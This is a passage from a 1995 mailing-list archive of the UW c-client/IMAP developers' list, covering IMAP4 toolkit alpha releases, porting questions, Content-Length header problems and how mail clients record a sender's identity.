header. Then one could skip the entire message. The real problem is flat file message spaces. Cyrus solves this and any intelligent solution to the mail problem should address it. Bill From pinedev@shivax2.cac.washington.edu Fri Mar 24 13:07:31 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA23366; Fri, 24 Mar 95 13:07:31 -0800 Received: by mx1.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA01879; Fri, 24 Mar 95 13:07:26 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from moon.nbn.com by mx1.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA01855; Fri, 24 Mar 95 13:07:00 -0800 Received: from z-code.com (uucp@localhost) by moon.nbn.com (8.6.4/8.6.4) with UUCP id NAA03047; Fri, 24 Mar 1995 13:06:28 -0800 Received: from zyrcon (zyrcon.z-code.com [192.82.56.36]) by z-code.z-code.com (8.6.9/8.6.9) with SMTP id MAA08634; Fri, 24 Mar 1995 12:02:41 -0800 Received: by zyrcon (920330.SGI/920502.SGI) for @z-code.z-code.com:c-client@cac.washington.edu id AA29035; Fri, 24 Mar 95 12:05:39 -0800 From: "Barton E. Schaefer" Message-Id: <9503241205.ZM29034@zyrcon.z-code.com> Date: Fri, 24 Mar 1995 12:05:37 -0800 In-Reply-To: Tomas Kullman "Re: SUN and the Content-Length header field" (Mar 24, 11:05am) References: <199503241005.LAA06660@xray.pro.icl.se> Reply-To: schaefer@z-code.com X-Face: czU|*h"p8AX?4.I.yU.^s%TIMx|"-s,*'|#H^|e,QjE&!jL%<]:-.U/;khS%3a2BC5_d#)( mz=$$G0u9P&*N8cA~b[URf;lgKRif@#qEf[ltie#Gg0%6$b`e`k.Cgw:\qJx\\a7c(K7^3;gXW:e1@ J, Tomas Kullman Subject: Re: SUN and the Content-Length header field Cc: IMAP Interest List , c-client Interest List Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii On Mar 24, 11:05am, Tomas Kullman wrote: } Subject: Re: SUN and the Content-Length header field } } > AT&T and SUN do not use standard Unix format mail. Instead, they use } > something that looks like Unix format mail, but depends upon an extremely } > fragile and unrobust octet count. Details are in a paper I wrote } > "Content-Length Considered Harmful"; among other aspects of bad design } > this count is generated by the originating MUA. } } Ah, is it really so? I thought it was generated at delivery. It's normally recomputed on delivery if the receiving system is one that supports content-length headers. However, some sending systems insert it into outgoing messages as well, which causes problems if the receiver does not recompute it. -- Bart Schaefer Vice President, Technology, Z-Code Software schaefer@z-code.com Division of Network Computing Devices, Inc. From pinedev@shivax2.cac.washington.edu Thu May 4 17:27:34 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA12219; Thu, 4 May 95 17:27:34 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA12589; Thu, 4 May 95 17:27:02 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from breakaway.Stanford.EDU by mx1.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA12583; Thu, 4 May 95 17:27:01 -0700 Received: from localhost by Breakaway.Stanford.EDU (8.6.10/inc-1.0) id RAA21365; Thu, 4 May 1995 17:27:01 -0700 Message-Id: <199505050027.RAA21365@Breakaway.Stanford.EDU> Subject: c-client makefile.{system} for Alpha-osf1? To: c-client@cac.washington.edu Reply-To: hodges@Breakaway.Stanford.EDU Office: Pine Hall Rm 161; 415-723-2452 Date: Thu, 04 May 95 17:27:01 -0700 From: Jeff Hodges X-Mts: smtp Is there one? I'm looking into compiling xlview on my alpha. thanks, Jeff From pinedev@shivax2.cac.washington.edu Thu May 4 18:32:59 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA18265; Thu, 4 May 95 18:32:59 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA02731; Thu, 4 May 95 18:32:41 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA02725; Thu, 4 May 95 18:32:39 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA10992; Thu, 4 May 95 18:32:34 -0700 Date: Thu, 4 May 1995 18:30:53 -0700 (PDT) From: Mark Crispin Subject: re: c-client makefile.{system} for Alpha-osf1? To: hodges@Breakaway.Stanford.EDU Cc: c-client@cac.washington.edu In-Reply-To: <199505050027.RAA21365@Breakaway.Stanford.EDU> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII There are no longer any individual makefile.{system} in c-client. There is one Makefile for all Unix variants, and yes, osf is one of them. On Thu, 04 May 95 17:27:01 -0700, Jeff Hodges wrote: > Is there one? I'm looking into compiling xlview on my alpha. thanks, From pinedev@shivax2.cac.washington.edu Sun May 7 20:54:28 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA15106; Sun, 7 May 95 20:54:28 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA01605; Sun, 7 May 95 20:53:41 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from cais.com by mx1.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA01599; Sun, 7 May 95 20:53:39 -0700 Received: (jlose@localhost) by cais.cais.com (8.6.10/8.6.5) id XAA02645; Sun, 7 May 1995 23:53:37 -0400 From: James Lose Message-Id: <199505080353.XAA02645@cais.cais.com> Subject: XLView Client Makefile for SCO ODT 3.0 To: c-client@cac.washington.edu Date: Sun, 7 May 1995 23:53:37 -0400 (EDT) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 198 Is there an XLView Client makefile for SCO ODT 3.0? -- Jim Lose Voice: (703)698-9483 8124 Larkin Lane Email: jlose@cais.com Vienna, VA 22182 From pinedev@shivax2.cac.washington.edu Thu May 25 09:00:34 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA10641; Thu, 25 May 95 09:00:34 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA27797; Thu, 25 May 95 09:00:04 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from coho.halcyon.com by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA27718; Thu, 25 May 95 08:58:53 -0700 Received: by halcyon.com id AA19285 (5.65c/IDA-1.4.4); Thu, 25 May 1995 08:58:52 -0700 From: John Aschenbrenner Message-Id: <199505251558.AA19285@halcyon.com> Subject: Creating an IMAP client for Windows. To: imap@cac.washington.edu Date: Thu, 25 May 1995 08:58:51 -0700 (PDT) Cc: c-client@cac.washington.edu, pine-info@cac.washington.edu X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859 Content-Transfer-Encoding: 8bit Content-Length: 525 I am trying to develop email client software using winsock on a WinNT i386 platform (in my spare time) using Visual C++ 2.0 & MFC. Are any of you developing Windows mail clients as a learning experience? If so could I team up with you? I am a local resident (live in Puyallup, work in Bellevue) and have taken classes at the U of W. I am currently working on my C++ certificate and would like to gain some practical experience. -- John Aschenbrenner Work=(206) 644-2121 email=jma@halcyon.com Home=(206) 845-5120 From pinedev@shivax2.cac.washington.edu Thu May 25 10:56:56 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA15970; Thu, 25 May 95 10:56:56 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA00848; Thu, 25 May 95 10:56:52 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from nudge.io.org by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA00831; Thu, 25 May 95 10:56:18 -0700 Received: (from tcox@localhost) by nudge.io.org (8.6.9/8.6.9) id NAA19608; Thu, 25 May 1995 13:56:12 -0400 Date: Thu, 25 May 1995 13:56:11 -0400 (EDT) From: "Timothy D. A. Cox" To: John Aschenbrenner Cc: imap@cac.washington.edu, c-client@cac.washington.edu, pine-info@cac.washington.edu Subject: Re: Creating an IMAP client for Windows. In-Reply-To: <199505251558.AA19285@halcyon.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII John, I have successfully ported the c-client stuff from cac.washington to the Win32 platform. This was easy. The mtest program worked fine also. Were you thinking of IMAP2 or IMAP4? Tim On Thu, 25 May 1995, John Aschenbrenner wrote: > I am trying to develop email client software using winsock on a > WinNT i386 platform (in my spare time) using Visual C++ 2.0 & MFC. > Are any of you developing Windows mail clients as a learning experience? > If so could I team up with you? I am a local resident (live in Puyallup, > work in Bellevue) and have taken classes at the U of W. I am currently > working on my C++ certificate and would like to gain some practical > experience. > > -- > John Aschenbrenner Work=(206) 644-2121 > email=jma@halcyon.com Home=(206) 845-5120 > Timothy D. A. Cox TDAC Software Inc. 12 Miner Circle (905)940-1529/5502 fax Markham Ontario Canada L3R 1Y1 e-mail: tcox@io.org URL: http://www.io.org/~tcox From pinedev@shivax2.cac.washington.edu Sat May 27 04:54:00 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA03756; Sat, 27 May 95 04:54:00 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA05840; Sat, 27 May 95 04:53:50 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA05814; Sat, 27 May 95 04:53:18 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA02912; Sat, 27 May 95 04:53:13 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA00207; Sat, 27 May 95 04:53:08 -0700 Date: Sat, 27 May 1995 04:38:14 -0700 (PDT) From: Mark Crispin Subject: announcing: ALPHA release of IMAP toolkit supporting IMAP4 To: IMAP Interest List , c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII An alpha test release of the IMAP toolkit that supports IMAP4 is now available on ftp://ftp.cac.washington.edu/mail/imap-4.ALPHA.tar.Z It is intended for c-client developers on Unix and not for production usage. These are development sources, and the alpha test release will be updated frequently. Due to the nature and frequency of changes I won't be keeping an update history until the beta release starts. I must emphasize that this is an *ALPHA* release. If you find a bug, you should expect to track it down and send me an analysis and patch with the bug report. Expect bugs; it has not been extensively tested; and some of the code was edited only a few hours ago. The following are known problems/deficiencies in the alpha version: 1) non-ANSI ports are not yet provided; if you don't have an ANSI compiler you're out of luck 2) mmdf, mh, pop3, nntp client drivers on Unix are not yet provided 3) DOS and Mac ports are not yet complete 4) search CHARSETs other than US-ASCII are not yet supported 5) AUTHENTICATE command in IMAP server doesn't have any authenticators yet (however, hooks exist for validation via AUTHENTICATE, although not yet for protection mechanisms) 6) sticky UIDs are only in the bezerk driver 7) create can not create directories 8) no drivers support creation of keywords 9) No \Marked or \Unmarked status is reported in LIST 10) LSUB assumes that all names are in the default hierarchy -- Mark -- DoD #0105, R90/6 pilot FAX: (206) 842-0758 ICBM: N 47.36'24" W 122.34'08" TOPS-20: A Great Improvement Over Its Successors From pinedev@shivax2.cac.washington.edu Wed May 31 10:40:28 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA27401; Wed, 31 May 95 10:40:28 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA10607; Wed, 31 May 95 10:39:58 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA10601; Wed, 31 May 95 10:39:57 -0700 Received: from b015-mac7100.stanford.edu (B015-MAC7100.Stanford.EDU [171.65.22.116]) by CAMIS.Stanford.EDU (8.6.10/8.6.10) with SMTP id KAA16273; Wed, 31 May 1995 10:39:55 -0700 Date: Wed, 31 May 95 10:44:38 -0700 From: Adam Treister To: c-client@cac.washington.edu Subject: Authentication of sender's identity Cc: Peter Anema Message-Id: Content-Type: TEXT/plain; charset=US-ASCII Does the c-client have mechanisms for "weakly" authenticating a sender's identity? Or have other remote clients come with a simple method to do this? The current version of Mailstrom makes sure that the user has logged onto the IMAP server and that the account name on that server is somewhere in the FROM field of the outgoing message. This is running into pbs as more and more sites use email addresses that are closer to the person's real name than to their unix account name. I realize that SMTP and sendmail are inherently insecure, and don't want to require PGP or some "real" authentication at this point, but I do want to mildly guard against the naive user accidentally putting something stupid as the return address in their prefs, or a user sending a message from someone else's workstation accidentally representing the message as being from that person, and to force the prankster to use sendmail or Netscape to forge their flames. Is there a simple way to do this without causing headaches for the admin who is implemention a modern mail router? Adam From pinedev@shivax2.cac.washington.edu Wed May 31 11:39:32 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA29751; Wed, 31 May 95 11:39:32 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA12038; Wed, 31 May 95 11:39:23 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA12032; Wed, 31 May 95 11:39:22 -0700 Received: from ssrg-ss2-2.Stanford.EDU (mtm@ssrg-ss2-2.Stanford.EDU [171.65.32.100]) by CAMIS.Stanford.EDU (8.6.10/8.6.10) with SMTP id LAA17853; Wed, 31 May 1995 11:39:19 -0700 Date: Wed, 31 May 1995 11:39:17 -0700 (PDT) From: Mike Macgirvin Reply-To: Mike Macgirvin Subject: Re: Authentication of sender's identity To: Adam Treister Cc: c-client@cac.washington.edu, Peter Anema In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=ISO-8859-1 > Does the c-client have mechanisms for "weakly" authenticating a sender's > identity? Or have other remote clients come with a simple method to do > this? I think the currently accepted practice (somebody please correct me if I'm wrong), is to place the local credentials in the "Sender:" field; (not the "From:" field), and most MUA's also place this into the Message-ID somewhere. You want somebody to be able to tweak the "Reply-To:" field, since you need to allow somebody to specify a system with SMTP as a reply-to, which not all workstations have; especially in an IMAP environ. I just copy this value to the "From:" envelope. No harm done, since the real credentials already show up in two places in the header (at least). More paranoid mailers set the "From:" line based on the GECOS field from the Unix passwd file, which is usually the human name; along with the login credentials. (But be careful not to include office locations and phone numbers (hint: commas) unless you quote the whole thing.) How can you protect against an invalid reply-to? Can't answer that one. They'll find out soon enough... Unless you want to go out and probe the mailer yourself (and not all mailers allow probes). You might have to just let them shoot themselves in the foot. The more recent c-clients have a function "myusername()" to obtain the local credentials, but I haven't got any idea how this translates to a Mac or other insecure OS. mike From pinedev@shivax2.cac.washington.edu Wed May 31 13:33:35 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA05448; Wed, 31 May 95 13:33:35 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA20539; Wed, 31 May 95 13:33:27 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA20533; Wed, 31 May 95 13:33:26 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA06143; Wed, 31 May 95 13:31:55 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA17310; Wed, 31 May 95 13:31:49 -0700 Date: Wed, 31 May 1995 12:11:23 -0700 (PDT) From: Mark Crispin Subject: re: Authentication of sender's identity To: Adam Treister Cc: c-client@cac.washington.edu, Peter Anema In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII IMHO, Mike Macgivin's solution is the correct one; put what you allege to be authenticated credentials in the Sender field, and let the user say what goes in the From. Copy Sender -> From if the user doesn't specify it (and possibly suppress generating the Sender if the From is identical). Hope for the best. With varying degrees of increasingly annoying behavior, you may decide various additional measures. Note the use of the word "annoying" here -- even well intentioned features to prevent user blunders can be extremely annoying to experts. You have to balance the annoyance factor with your business needs though. Not an easy choice. There is no myusername() call in DOS or Mac c-client; it only exists on systems such as Unix, VMS, and TOPS-20 where that's a reasonable concept. From pinedev@shivax2.cac.washington.edu Thu Jun 1 08:08:22 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA08548; Thu, 1 Jun 95 08:08:22 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA05421; Thu, 1 Jun 95 08:03:07 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO6.ANDREW.CMU.EDU by mx2.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA05415; Thu, 1 Jun 95 08:03:06 -0700 Received: (from postman@localhost) by po6.andrew.cmu.edu (8.6.12/8.6.12) id LAA08815; Thu, 1 Jun 1995 11:02:25 -0400 Received: via switchmail; Thu, 1 Jun 1995 11:02:22 -0400 (EDT) Received: from nifty.andrew.cmu.edu via qmail ID ; Thu, 1 Jun 1995 11:00:57 -0400 (EDT) Received: via niftymail; Thu, 1 Jun 1995 11:00:52 -0400 (EDT) Date: Thu, 1 Jun 1995 11:00:51 -0400 (EDT) From: Chris Newman Subject: re: Authentication of sender's identity To: Adam Treister Cc: c-client@cac.washington.edu, Peter Anema In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <802018851.6776.0@nifty.andrew.cmu.edu> Another simple authentication technique (beyond the Unix getusername() function) that you can use is to get the "common.from" option from the IMSP server. This is set up in such a way that the site administrator can decide whether or not to allow the user to modify their from address from a site-configured canonical form. ----- Chris Newman , http://www.contrib.andrew.cmu.edu/~cn0h/ From pinedev@shivax2.cac.washington.edu Fri Jun 2 14:47:31 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA13042; Fri, 2 Jun 95 14:47:31 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA07550; Fri, 2 Jun 95 14:47:19 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA07517; Fri, 2 Jun 95 14:46:26 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA14046; Fri, 2 Jun 95 14:46:18 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA26715; Fri, 2 Jun 95 14:46:12 -0700 Date: Fri, 2 Jun 1995 14:33:57 -0700 (PDT) From: Mark Crispin Subject: new IMAP-4 toolkit ALPHA release To: IMAP Interest List , c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII I have placed a new alpha test release of the IMAP-4 toolkit on ftp://ftp.cac.washington.edu/mail/imap-4.ALPHA.tar.Z This new release supports all the UNIX platforms (including non-ANSI ones) that are supported in IMAP-3.6.BETA. UNIX mh, news, NNTP, and POP3 drivers are not yet offered in the IMAP-4 toolkit, but these are coming next, as are DOS and Mac drivers. When these are finished, the alpha test will end and beta testing will begin. Sometime during the best test I'll try to update the interface documentation; for now, the best documentation is mail.h. I urge all c-client software developers to look at the alpha test version now. There are some major changes to the interface. For the most part, programs which were written for earlier versions of the IMAP toolkit will build under the IMAP-4 version with minimal changes. The most important incompatible change is that mail_find(), mail_find_all(), and mm_mailbox() calls need to be rewritten for the new LIST mechanism. I'm thinking about offering a compatibility package for these routines. However, there are other important new facilities that you should take advantage of. For example, mail_fetchheader() and mail_fetchtext() now return an optional string size, so you should examine your code for strlen() calls and rewrite it to use this new return value. This will also make your application less NUL-vulnerable. Also, many features, such as the new SEARCH capabilities, can only be used if you use the new interfaces. -- Mark -- DoD #0105, R90/6 pilot FAX: (206) 842-0758 ICBM: N 47.36'24" W 122.34'08" TOPS-20: A Great Improvement Over Its Successors From pinedev@shivax2.cac.washington.edu Sat Jun 17 01:49:53 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA22498; Sat, 17 Jun 95 01:49:53 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA02225; Sat, 17 Jun 95 01:49:18 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA02219; Sat, 17 Jun 95 01:49:14 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA08609; Sat, 17 Jun 95 01:49:10 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA01012; Sat, 17 Jun 95 01:48:49 -0700 Date: Sat, 17 Jun 1995 01:25:43 -0700 (PDT) From: Mark Crispin Subject: IMAP4 toolkit is smaller than IMAP2bis toolkit! To: Terry Gray Cc: c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Well, I just finished porting the mh driver, which was the last one for Unix. So, I took the time to compare sizes between binaries in IMAP-3.6.BETA and IMAP-4.ALPHA under NEXTSTEP. In this day and age of code bloat, these numbers are encouraging: c-client.a imapd IMAP-3.6.BETA 742,408 795,748 IMAP-4.ALPHA 702,644 783,148 So, the IMAP4 toolkit's c-client is just shy of 39K smaller than the IMAP2bis version, while IMAP4 imapd is 12K smaller. Interestingly, on an VAXstation-2000 (the newest acquisition in the Panda zoo) running Ultrix 2.3, the IMAP-4 imapd is only 280K. In spite of the fact that IMAP4 has more features and capabilities, c-client is smaller because I took the opportunity to eliminate a lot of duplicated code in some fairly major (and ongoing) code restructuring. imapd eats up most of that savings because it has to implement all the additional stuff in RFC-1730. imapd will probably grow further, but it's nice to know that for the time being the new, purportedly more featureful, stuff is smaller than the old. From pinedev@shivax2.cac.washington.edu Wed Jun 28 13:14:27 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA15018; Wed, 28 Jun 95 13:14:27 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA07674; Wed, 28 Jun 95 13:08:48 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mead3.u.washington.edu by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA07668; Wed, 28 Jun 95 13:08:46 -0700 Received: from calvin.badm.washington.edu by mead3.u.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA36492; Wed, 28 Jun 95 13:08:45 -0700 Date: Wed, 28 Jun 1995 13:09:15 -0700 (PDT) From: Heber Farnsworth Reply-To: Heber Farnsworth Subject: imap2.c -- Authentification To: C-Client@CAC.Washington.edu Message-Id: Mime-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-2078917053-804370155=:899" --0-2078917053-804370155=:899 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII I am running a mailer called ML on my workstation and I would like to recompile it with a change in the imap2.c file. I would like to have tcp check my .rhosts file on the imap server and not have to ask me for authentification each time I start the program. Attached find two letters, one from me to the author of ML and the other his reply. Could you suggest how exactly to make the change he recommends? Heber Farnsworth | Department of Finance Univerity of Washington | Box 353200 tele: (206) 528-0793 home | Seattle, WA 98195-3200 tele: (206) 543-4773 finance web: http://weber.u.washington.edu/~heberf fax: (206) 685-9392 email: heberf@u.washington.edu --0-2078917053-804370155=:899 Content-Type: TEXT/plain; CHARSET=US-ASCII Content-Description: heber From: Heber Farnsworth To: ml@camis.stanford.edu Subject: Authentification Date: Wed, 28 Jun 1995 12:14:22 -0700 (PDT) I have ML running on my workstation but I use a departmental machine for my IMAP server. I also have an account on this machine, however my username is different than it is on my workstation. I recall reading that ML uses rsh to do the authentification. I have myself listed in my personal .rhosts file on the server so I can login using rsh without supplying a password. Why can I not do this with ML? I can't find a way to tell ML what my remote username is so that it can check to see if I need to authenticate. Heber Farnsworth | Department of Finance Univerity of Washington | Box 353200 tele: (206) 528-0793 home | Seattle, WA 98195-3200 tele: (206) 543-4773 finance web: http://weber.u.washington.edu/~heberf fax: (206) 685-9392 email: heberf@u.washington.edu --0-2078917053-804370155=:899 Content-Type: TEXT/plain; CHARSET=US-ASCII Content-Description: mike From: Mike Macgirvin To: Heber Farnsworth Subject: Re: Authentification Date: Wed, 28 Jun 1995 12:22:59 -0700 (PDT) > I have ML running on my workstation but I use a departmental machine for my > IMAP server. I also have an account on this machine, however my username is > different than it is on my workstation. This stuff is all hard-wired into the IMAP c-client toolkit, and I have no control over it. I've been arguing for a long time to make this interface configurable; but it still isn't, and probably won't be anytime soon. The only way out that I know of is to specify "servername:143" as the default server and force it to login via TCP. Sorry. I'm as frustrated on this one as you are. If you're the only one using this copy of ML, you can change the command string in imap/c-client/imap2.c to your liking (look for the string "/etc/rimapd"). mike --0-2078917053-804370155=:899-- From pinedev@shivax2.cac.washington.edu Wed Jun 28 13:52:26 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA16771; Wed, 28 Jun 95 13:52:26 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA24015; Wed, 28 Jun 95 13:47:27 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA24009; Wed, 28 Jun 95 13:47:26 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA11139; Wed, 28 Jun 95 13:47:20 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA05346; Wed, 28 Jun 95 13:47:05 -0700 Date: Wed, 28 Jun 1995 13:30:40 -0700 (PDT) From: Mark Crispin Subject: re: imap2.c -- Authentification To: Heber Farnsworth Cc: C-Client@CAC.Washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Hello. What system is your IMAP server? .rhosts access should be set up automatically on all UCS systems. From pinedev@shivax2.cac.washington.edu Thu Jun 29 21:42:12 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA17150; Thu, 29 Jun 95 21:42:12 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA15890; Thu, 29 Jun 95 21:41:53 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA15884; Thu, 29 Jun 95 21:41:52 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA14247; Thu, 29 Jun 95 21:41:50 -0700 Date: Thu, 29 Jun 1995 21:30:03 -0700 (PDT) From: Mark Crispin Subject: case-insensitivity in LIST and LSUB To: IMAP Interest List , c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII The alpha test c-client based IMAP4 server offers a case-insensitive LIST and LSUB. It was recently pointed out to me that it has a bug in which the "base" directory, from which it starts the search, is case-sensitive. This is calculated up to the point of the first wildcard. In other words: 